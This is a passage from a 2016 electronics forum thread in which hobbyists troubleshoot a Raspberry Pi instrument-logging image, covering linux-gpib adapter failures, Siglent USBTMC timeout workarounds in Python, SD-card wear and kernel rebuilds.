I'd like to make few images too, for DE1-SoC FPGA board running linux-gpib. Got I2C working today with BME280 on it. Next step is GPIO and SPI, so I can control ADCs/DACs as well.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 18, 2016, 05:35:57 am
Nice :)

plesa

How do you create images? Just simple plain bit-bit clone of SDcard, or there is some tool?
I'd like to make few images too, for DE1-SoC FPGA board running linux-gpib. Got I2C working today with BME280 on it. Next step is GPIO and SPI, so I can control ADCs/DACs as well.
There are several ways.Resizing It tried but it is too complicated. I used bit clone and compress it by gzip/tar.
USB tested OK, so both USB and LAN are fully functional on the Rigol DM3068.   I have the Rigol DM3068 scripts working.  Is there a GITHub I can do a pull request to get the DM3068 added.  Then other people can enjoy. 
plesa created this repository:
https://github.com/PlesaEEVBlog/RPi_LogNut
@plesa please accept my pull request for the initial content, so that it doesn't get out of sync for too long.

OK, I will try tomorrow.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 18, 2016, 06:04:54 pm
Someone here claims to have linux-gpib running w. an agilent on a rpi v3.
http://www.messtechniklabor.de/artikel-h0014-raspberry_pi_3_model_b_mit_linux_gpib_und_kernel_4_1.html (http://www.messtechniklabor.de/artikel-h0014-raspberry_pi_3_model_b_mit_linux_gpib_und_kernel_4_1.html)

Seems like he has the old a model not the later b adapter.

I did try to build it (1h20m for kernel) , on a kernel 4.4.34 platform. 
Build/boot ok , but same linux-gpib result ... timeout.


One correction though

Where he writes
Quote
#raspberry pi 2/3
KERNEL=kernel7

You need to either do an
Code: [Select]
export KERNEL=kernel7
Or maybe better replace $KERNEL.img on the below line with kernel7.img
sudo scripts/mkknlimg arch/arm/boot/zImage /boot/$KERNEL.img



My startingpoint was NOOBS-1.9 https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2016-03-18/ (https://downloads.raspberrypi.org/NOOBS/images/NOOBS-2016-03-18/)

But i did the distupgrade before build , that lifted the platform to kernel 4.4.34.
Maybe someone can try wo. the distupgrade, where it's platform 4.1.19 i think.

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 19, 2016, 12:24:22 am
Did the procedure on 2016-03-18-raspbian-jessie (4.1.21 kernel), it doesn't work afterwards either.
Actually it seems to work less with this than the v2 image, with that at least the instrument detects that it is being addressed. With this, nothing. It can easily be though, that I did something wrong.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 19, 2016, 03:35:53 am
@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
I guess this is the same problem I found out when I use the USBTMC Linux kernel driver on my PC, and might be really a bad firmware on the power supply. I can lower the delay down to 10 ms and it works always. With 5 ms sometimes it doesn't work. So might be safe to wait 20 ms. The instrument itself seems to be fast. I can do a "CH2:VOLT 9" command and 10 ms later a "CH2:VOLT 8" command and it is set to 8 V.

But I still can't read anything reliably. Could you try this on your system?

Code: [Select]
print(siglent.ask("*IDN?"))

Sometimes it shows the device, but most of the time it generates an error: "Operation timed out". I tried to edit /opt/python-usbtmc/build/lib.linux-armv7l-2.7/usbtmc/usbtmc.py and insert a time.sleep(0.1) after line 629 in the ask function, between the write and read, and it looks like it helps a bit, but I'm still getting the timeout error often.

At least writing works with the delay. But would have been nice to get the current reading working, too.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Karel on December 19, 2016, 04:10:22 am
Additional benefit of using the USBTMC kernel driver: you can use it from other programs as well, not just from Python. On my PC I can do this:

echo "*IDN?" > /dev/usbtmc0
cat /dev/usbtmc0

and it answers with

Siglent Technologies,SPD3303,SPD00002130137,1.01.01.01.05,V1.1

(but still with the timeout problem: after printing this line it hangs for about 5 seconds and then it says "cat: /dev/usbtmc0: Connection timed out")

The timeout "problem" isn't a problem at all but just how the usbtmc protocol is implemented.
The cat program keeps on reading till it receives an EOF.
Usbtmc protocol uses a newline character at the end of a message, not an EOF.
Cat ignores the newline character and will continue to ask for more data till the driver timesout which is after 5 seconds.
A program that is written to read from an usbtmc device will stop reading when it detects a newline character in the message.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 19, 2016, 04:25:36 am
Guyzz

Dave Penkler (linux-gpib maintainer) , has ansvered my e-mail , and suggests to build linux-gpib w. debugging enabled.
./configure  --enable-driver-debug

He uses latest kernels ie. 4.9 , but only have i386 based machines.

So he lacks a Raspi v3 to debug on.


He'll borrow one

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: cdev on December 19, 2016, 04:46:04 am
Two things.

1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Set the SD card to "noatime" so that a separate write is not done when files are accessed also. USB SATA enclosures can be had for as little as $5 and a small low current requirement SATA drive is similarly cheap. Two can be used for data redundancy using software RAID.(use a powered USB hub because the RPI can only supply a fairly modest amount of power to power other devices.)

2.) David Taylor has done a lot of research into running NTP on an RPI using a GPS and kernel 1pps to provide an accurate timing reference. (Most people here have probably already seen his web pages I'm sure but worth mentioning anyway (http://www.satsignal.eu/ntp/Raspberry-Pi-NTP.html) as lots of useful info) . I recently saw a link there to this discussion (https://github.com/raspberrypi/linux/issues/750#issuecomment-239135234) about a small change  which reduces the latency of the onboard USB-based Ethernet (http://www.satsignal.eu/ntp/RaspberryPi-notes.html#EthernetLatency). Seems worth looking into.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 19, 2016, 08:11:40 am
The timeout "problem" isn't a problem at all but just how the usbtmc protocol is implemented.
The cat program keeps on reading till it receives an EOF.
Usbtmc protocol uses a newline character at the end of a message, not an EOF.
Cat ignores the newline character and will continue to ask for more data till the driver timesout which is after 5 seconds.
A program that is written to read from an usbtmc device will stop reading when it detects a newline character in the message.
Ok, but why does it work sometime and sometimes not with pyusb? And the USBTMC kernel driver works always, if I use the code from here (https://www.eevblog.com/forum/testgear/rigol-ds1074z-times-out-with-linux-usbtmc-drivers-and-python-scripts/), but I guess "os.read(self.FILE, 4096)" doesn't wait for EOF, but reads all currently available data. So probably the pyusb implementation has some other problems, in combination with the Siglent instrument, because the HP gear seems to work, probably with the Linux kernel driver, too. So might be a good idea to use the Linux kernel driver instead of the Python implementation, if there are no problems with the HP devices.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 19, 2016, 08:19:51 am
1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Another idea is to use a network drive. I have a NAS (with RAID0) and copied the /pub directory to it. Then I mounted this directory from my Raspberry Pi, now doing some long time logs for the Batteroo test. But probably not a good idea to use swap over ethernet. Best would be to disable swap and mount the main filesystem read-only, using the rest from the NAS.

Some time ago for another platform I could even load the Linux kernel over network with u-boot, and then even mount the root filesystem over NFS. This is really helpful for developing, because then you don't have any size limitations of the platform and testing new kernel versions is faster, and it can't brick, if you backup the last kernel (and modules).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 19, 2016, 08:38:18 am
1.) A *logging* platform should definitely log to a real hard drive because the process of logging inherently makes a great many individual writes which will destroy flash memory cards eventually. (For the same reason compiling software on them will, hopefully people know that)

Good practice would be to put the boot OS on the SD card and do all logging - also any compiles, should take place on a real HD which can be a small one. SD cards have improved a lot but this is still good practice. You should also use the real HD for swap.

Another idea is to use a network drive. I have a NAS (with RAID0) and copied the /pub directory to it. Then I mounted this directory from my Raspberry Pi, now doing some long time logs for the Batteroo test. But probably not a good idea to use swap over ethernet. Best would be to disable swap and mount the main filesystem read-only, using the rest from the NAS.

Some time ago for another platform I could even load the Linux kernel over network with u-boot, and then even mount the root filesystem over NFS. This is really helpful for developing, because then you don't have any size limitations of the platform and testing new kernel versions is faster, and it can't brick, if you backup the last kernel (and modules).

Raspbian has swap disabled. Booting form network should be possible ( U-Boot on RPi is running ), but it will limit majority of potential users. It will be too difficult for them to setup DHCP and PXE.
I will check the USBTMC kernel implementation. I do not accoutered any issue, but I was using only HP/Agilent and Keysight gear over USB.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on December 19, 2016, 08:41:01 am
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

You cannot use ask because (I didn't checked, but I think) ASK is making WRITE and READ one after the other and this will confuse the thing.
So to make it work just use [write, sleep, read] sequence.













@FrankBuss

SPD3303 is very slow at handling commands.

You need to put a sleep after the command or it get messed.

I use something like this:

siglent.write("INST CH2")
time.sleep(1)
siglent.write("CH2:VOLT 0")
time.sleep(1)
siglent.write("CH2:CURR 1.3")
time.sleep(1)
siglent.write("OUTP CH2, ON")
time.sleep(1)


you can also lower sleep to 0.1 seconds if you need more speedy setup.
I guess this is the same problem I found out when I use the USBTMC Linux kernel driver on my PC, and might be really a bad firmware on the power supply. I can lower the delay down to 10 ms and it works always. With 5 ms sometimes it doesn't work. So might be safe to wait 20 ms. The instrument itself seems to be fast. I can do a "CH2:VOLT 9" command and 10 ms later a "CH2:VOLT 8" command and it is set to 8 V.

But I still can't read anything reliably. Could you try this on your system?

Code: [Select]
print(siglent.ask("*IDN?"))

Sometimes it shows the device, but most of the time it generates an error: "Operation timed out". I tried to edit /opt/python-usbtmc/build/lib.linux-armv7l-2.7/usbtmc/usbtmc.py and insert a time.sleep(0.1) after line 629 in the ask function, between the write and read, and it looks like it helps a bit, but I'm still getting the timeout error often.

At least writing works with the delay. But would have been nice to get the current reading working, too.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 19, 2016, 11:34:08 am
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 

http://99.232.17.239 (http://99.232.17.239)

Dwaine

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 19, 2016, 12:02:35 pm
I have a Keysight u1272a meter. Would anyone object if I submitted the python, HTML, web server display for it?

Dwaine
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: cdev on December 19, 2016, 12:26:46 pm
Okay, I realize this is likely stuff people here already know about. But it cant hurt to remember it.

I wanted to encourage you to consider using a real hard drive on your logger from the start.. You cannot argue with the price of these "Pi Drives" - These hard drives are designed to be used with the Raspberry Pi. They incorporate a USB to SATA converter and an additional USB plug for bringing in additional power.

http://wdlabs.wd.com/category/wd-pidrive/ (http://wdlabs.wd.com/category/wd-pidrive/)

But if you must use flash memory, one way to optimize logging to SD cards for flash memory longevity is to cache and delay writes for several seconds, then do the writes at the same time, as one. That will reduce the raw number of writes. Of course, then if you lose power you will have lost the last few seconds of writes. A good search term to learn more is "wear leveling".  Another option is doing your writing to an NFS mounted share on another computer.

There is no reason not to simply be careful. You could run a cron job to back up your SD card every few hours.

That said, I usually only hook up a real hard drive to my Raspberry Pis when I want to compile something.

 I usually just use the SD normally and set the options on software to only log the needed data and errors and not all diagnostic messages.  Most pre-built software on Raspbian should use sensible defaults for flash memory, which will be different than the ones used on desktops and laptops.
On programs that write big logs by default, you have to tell them to log less or eventually your SD cards will need replacement. Luckily its usually possible to get most of the data off them.

They get significantly better every year at handling lots of writes. But still there is a huge level of variability in SD card quality. Bunnie Huang has written extensively on this. You might want to check out his web site.

You cant treat an SD card as if its a hard disk or even an SSD.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 19, 2016, 02:29:56 pm
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 

http://99.232.17.239 (http://99.232.17.239)

Dwaine

I have the KeySight U1272A example completed.   I actually have both the Rigol DM3068 and KeySight U1272A running concurrently taking measurements on the same raspberry PI.  No issue to report.   Both devices are connected by USB...  I wonder how many devices we could hook up to the raspberry pi before it becomes a problem?

Dwaine

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Karel on December 19, 2016, 06:40:11 pm
Ok, but why does it work sometime and sometimes not with pyusb?

Probably because of

... the pyusb implementation has some other problems, ...


Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on December 19, 2016, 09:54:42 pm
Ummmm.  I did not use any sleeps in my Rigol DM3068 python script.  Right now I'm letting the USB connection run continuously.   So far no problems with the python USBTMC. 
http://99.232.17.239 (http://99.232.17.239)
Dwaine

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 20, 2016, 02:48:56 am
I think all these companies should invest in the software side of things.  It really does make the hardware less useful when the firmware/software has problems.  I was reading the thread on the Rigol DP832 power supply rebooting during remote controlling and measuring.  It makes the power supply useless for some applications now. 

If they did firmware updates on a monthly or bi-monthly release.  It would help their product lines.

Dwaine
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 20, 2016, 02:54:12 am
I have a Keysight u1272a meter. Would anyone object if I submitted the python, HTML, web server display for it?

Dwaine

Frankbuss, I finish the Keysight U1272A example.  Working good. I sent a pull request to add the device.

http://99.232.17.239/U1272A_Logs.html (http://99.232.17.239/U1272A_Logs.html)

Dwaine
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 20, 2016, 09:58:00 am
Good progress on U1272. I just posted few my scripts on GitHub.Each script has own webpage, do we needs also the webpages or complete mirror of pub folder on RPi?

@Bingo600
Thanks for contacting Dave Penkler. I just buid linux GPIB with debug enabled.
I can ship one RPi3 to him if needed.

Next milestones are:
1. Fix support for 82357B ( clone and genuine)
2. Implement Prologix GPIB 6.0 support and provide examples
3. Kernel support of USBTMC ( pros/cons)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 20, 2016, 05:31:44 pm
But if you must use flash memory, one way to optimize logging to SD cards for flash memory longevity is to cache and delay writes for several seconds, then do the writes at the same time, as one. That will reduce the raw number of writes. Of course, then if you lose power you will have lost the last few seconds of writes. A good search term to learn more is "wear leveling".  Another option is doing your writing to an NFS mounted share on another computer.
You are right, and there are other problems with SD cards. I was getting "Input / ouput error" when trying to access the SD card (e.g. just an "ls" command) now three times every time after the pi was running for a day. I was logged in with ssh and could still do a "dmesg", which showed this: http://pastebin.com/e4uNYLN2 (http://pastebin.com/e4uNYLN2) Looks like some filesystem write failed. Maybe the image could be changed in a way that normally nothing is written on the SD card, like with the access time setting, if not already configured? The logging to the mounted network was still running without problems and after a reboot it worked again. But might be a problem with the power supply as well (I'm running it with an old Apple charger and didn't fix the resettable fuse problem on this device).
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 20, 2016, 08:58:11 pm
Hmm, interestingly 82357B worked here, once. In fact, first time on RPI3, ever.
Took the v2 image, updated and rebuilt kernel then built linux-gpib with debug.

First ibterm with K2000 didn't work, then tried ibterm with K2400, which, surprisingly, did work.
Afterwards ibtest worked for both. Even ibterm with K2000 worked fine.

Code: [Select]
pi@pi3:~ $ sudo ibterm -d 1 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 1, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
ibterm error: Unable to write to device at pad 1

 - EBUS 14: Bus error
ibterm>
ibterm: Done.
pi@pi3:~ $ sudo ibterm -d 24 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 24, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
KEITHLEY INSTRUMENTS INC.,MODEL 2400-C,1234567,C32   Oct  4 2010 14:20:11/A02  /G/H/E
ibterm>
ibterm: Done.

pi@pi3:~ $ sudo ibterm -d 1 -e 0x0a -b 1 -x 1
Attempting to open /dev/gpib0
pad = 1, sad = 0, timeout = 10, send_eoi = 1, eos_mode = 0x1800
ibterm>*idn?
KEITHLEY INSTRUMENTS INC.,MODEL 2000,1234567,A19  /A02
ibterm>
ibterm: Done.

After a reboot it doesn't work again. Doesn't matter whether ibtest or ibterm is tried.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on December 20, 2016, 09:12:37 pm
@plesa
What's your take on the f2fs? It's a major PITA that you cannot change the fs size.
Apparently in in f2fs-tools_1.7.0-1_amd64 for Ubuntu (http://manpages.ubuntu.com/manpages/zesty/man8/resize.f2fs.8.html) there is a resize.f2fs command. Sadly that's not available in the Ubuntu Mate for RPI, the f2fs-tools is only ver 1.6 there.
I'll try to install Ubuntu in a VM and check it...
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 21, 2016, 12:08:34 am
F2FS v1.7 source could be compiled on the raspberry pi.   

Dwaine
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 21, 2016, 03:13:17 am

@Bingo600
Thanks for contacting Dave Penkler. I just buid linux GPIB with debug enabled.
I can ship one RPi3 to him if needed.

@Plesa

Dave has ordered a v3

And i am currently testing w. a powered usb-hub , as per Daves request - Same result.

I have been testing w. Agilent & Beiming , and sent v3 (bad) debug output to him.

Now i'm building w. debug on my v1 (Wheezy) , to send debug (good) to him

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on December 21, 2016, 11:18:57 am
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

Thanks, this workaround works for me, too. Strange, because I thought I had this issue fixed by changing the ask function itself, maybe the file was compiled or cached or something and not used. So no immediate need to add the USBTMC kernel driver, if it introduces other problems, but still useful for using USBTMC devices outside of Python scripts.

This could be a problem if someone wants to implement a general instrument class. Needs to be a wrapper around the "ask" function (which should be available for scripts), with quirk implementations for Siglent devices.

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.

Did they say anything about if they plan to fix it? It would make the instrument really more useful, if the USBTMC communication is reliable.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: mimmus78 on December 21, 2016, 12:03:34 pm
@FrankBuss - or any siglent power supply user

I use following sequence to initialise the thing.

siglent = usbtmc.Instrument("USB::0x0483::0x7540::INSTR")
siglent.clear()
time.sleep(0.1)
siglent.write("*IDN?")
time.sleep(0.1)
print (siglent.read())
time.sleep(0.1)

This works 100% for me, I have a complicate process working for days and programming the V of power supply every second without any problem.
Only when you stop the program sometime the power supply don't work at first connection, in this case just stop python program and start again (or maybe just close USBTMC connection and reopen).

Thanks, this workaround works for me, too. Strange, because I thought I had this issue fixed by changing the ask function itself, maybe the file was compiled or cached or something and not used. So no immediate need to add the USBTMC kernel driver, if it introduces other problems, but still useful for using USBTMC devices outside of Python scripts.

This could be a problem if someone wants to implement a general instrument class. Needs to be a wrapper around the "ask" function (which should be available for scripts), with quirk implementations for Siglent devices.

This come out from some Siglent firmware developer comment on some support request.
It's not driver but this Siglent power supply firmware that has this problem.

Did they say anything about if they plan to fix it? It would make the instrument really more useful, if the USBTMC communication is reliable.
No, I read this in some unofficial forum. I have last firmware installed and this is fair old version. I think funds for fixing bugs are longer finished.

Anyway with this workaround it works great. I'm running days and days without a single problem.

Inviato dal mio Nexus 6P utilizzando Tapatalk

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 22, 2016, 06:17:03 am
Just noticed that the "Jessie" has the raspbian.org kernels in there

I did a 
Code: [Select]
sudo apt-get install linux-image-rpi2-rpfv
Added to end of /boot/config.txt
Code: [Select]
# Set params for "raspbian debian-style kernel" boot
#kernel=vmlinuz-3.18.0-trunk-rpi
#initramfs initrd.img-3.18.0-trunk-rpi followkernel
#
kernel=vmlinuz-4.4.0-1-rpi2
initramfs initrd.img-4.4.0-1-rpi2 followkernel
#

Code: [Select]
reboot
And
Code: [Select]
sudo apt-get install linux-headers-rpi2-rpfv

Rebuilt linux-gpib , and tested wo. any luck

Still err 14  :'( :'(

Edit: Corrected the followkernel

This was done on a Raspi v3 , and boots ok

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 22, 2016, 09:52:28 am
I have the Bosh BMP085 python and web html finished.   Another sensor people can use.....  FrankBuss, I'll submit a pull request later on....

http://99.232.17.239/BMP085_Logs.html (http://99.232.17.239/BMP085_Logs.html)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on December 28, 2016, 12:43:05 am
I tried RPI image on my Pi3 with BME.

Working well OOB, NI USB-GPIB-HS is ok too, but clone fake Agilent pot is no go, err 14 timeout, but instrument itself does go into REM/TALK.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 28, 2016, 02:00:17 am
I tried RPI image on my Pi3 with BME.

Working well OOB, NI USB-GPIB-HS is ok too, but clone fake Agilent pot is no go, err 14 timeout, but instrument itself does go into REM/TALK.

Hi TiN,

thanks for feedback. Issue related to to 82357B is known with current kernel 4.4.36 (38)  and has been also found on 4.9 on Raspbian.
Currently are working only HI GPIB USB HS/NI GPIB USB B adapters and also the E5810A/E5810B.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 30, 2016, 11:14:14 am
During testing encoutered issues with RPi3 and genuine NI-GPIB HS adapter, after 30min-3h there is timeout on bus. Redo gpib_config not help and disconnecting NI GPIB HS adapter is needed.
TiN reported similar issue.
Strange is that RPI2 can work on same testsetup for multiple weeks. On setup is more than 60% of instruments on ( recommendation for GPIB is >50%)
dmesg reports following:
Code: [Select]
[10622.506326] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: usb_control_msg returned -110
[10623.506303] ni_usb_nonblocking_send_bulk_msg: killed urb due to timeout
[10623.506336] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: ni_usb_line_status: ni_usb_send_bulk_msg returned -110, bytes_written=0, i=8
[10624.506337] /opt/linux-gpib/drivers/gpib/ni_usb/ni_usb_gpib.c: usb_control_msg returned -110
[10625.506351] ni_usb_nonblocking_send_bulk_msg: killed urb due to timeout

Also ordered 3.5" LCD for displaying data ( BME280, DS18S20) and actual readout from instruments.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 30, 2016, 01:44:38 pm
I had the pi3 die on me when I was sampling the three devices once per second.  I tried both USB and LAN, with the same results.  After 3-6 hours the pi3 would be locked up. 

I switched the polling from one second to every 5 seconds.  I'm stress test all three devices now and the pi3 is good so far.

I also looked at the CPU usage during the lockups, and it barely touched 10%.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 30, 2016, 02:14:37 pm
I had the pi3 die on me when I was sampling the three devices once per second.  I tried both USB and LAN, with the same results.  After 3-6 hours the pi3 would be locked up. 

I switched the polling from one second to every 5 seconds.  I'm stress test all three devices now and the pi3 is good so far.

I also looked at the CPU usage during the lockups, and it barely touched 10%.

What GPIB adapter you used for USB and what for LAN?
Which kernel or image you used, the LogNutv2 or official Raspbian? Can you post the dmesg output?
It should not be related to CPU usage, RPi2 is is 900Mhz and RPi3 is 1.2GHz.

I prepared another new RPi3 for test, also the E5810 will be tested.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 30, 2016, 02:33:15 pm
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3. 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 30, 2016, 02:41:57 pm
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3.

OK, clear. So it looks like something different. Because issue seems to be related to USB/GPIB interface.
I have no problem with logging using Agiletnt L4411A over USB/LAN.
Which instrument you are using?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 30, 2016, 08:03:22 pm
Dave P is asking for the .config output from a working setup (Wheezy)
EDIT: It's the kernel config
See
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1102438/#msg1102438 (https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1102438/#msg1102438)



I'm not home for the next days, and my working Raspi v1 - with Wheezy is not online.

Does anyone have (or can build) a Raspi v1 or v2, with linux gpib working on an Agilent/Beiming adapter (Old wheezy kernel)

Build instructions
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160 (https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160)

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on December 30, 2016, 08:28:48 pm
I'm using the standard lognutv2 image with an updated kernel and firmware.   No GPIB connection just raw USB connection,  serial connect direct and direct TCP/IP LAN.  I'll reset the same condition and test again.  This time I'll see what dmesg has to say.   

During the lockup, I could not even ssh into the pi3.

OK, clear. So it looks like something different. Because issue seems to be related to USB/GPIB interface.
I have no problem with logging using Agiletnt L4411A over USB/LAN.
Which instrument you are using?

Rigol DM3068
Keysight U1272a
BMP085 Sensor

Maybe since I was logging all three devices with 1 second updates, I ran out of memory as the CSV files grew.  So far now, I'm running all three devices with a read every 5 seconds.  Been running over a day now.

I actually have the second display working and plotting for the Keysight U1272a. 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on December 30, 2016, 10:14:22 pm
I'll try to find my Pi1 and get wheezy up to get file/dumps.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 30, 2016, 11:14:02 pm
I'll try to find my Pi1 and get wheezy up to get file/dumps.

Thanx TiN

I think i misunderstood Dave.

He asks for
Quote
The .config file from rom the kernel source directory.
AFAICT the USB is not part of the device tree - which is why I want to check the kernel config between Jessie and wheezie.

I suppose the .config might be included in the "header files"

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on December 31, 2016, 12:21:22 pm
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 31, 2016, 12:33:24 pm
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

82357B is not working, but we hope it will be fixed soon.
Maybe you can try to use different adapter like http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html (http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 31, 2016, 05:27:04 pm
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on December 31, 2016, 06:57:34 pm
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo

thx for hints :-+
there is no gpib in dev

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 31, 2016, 08:14:13 pm
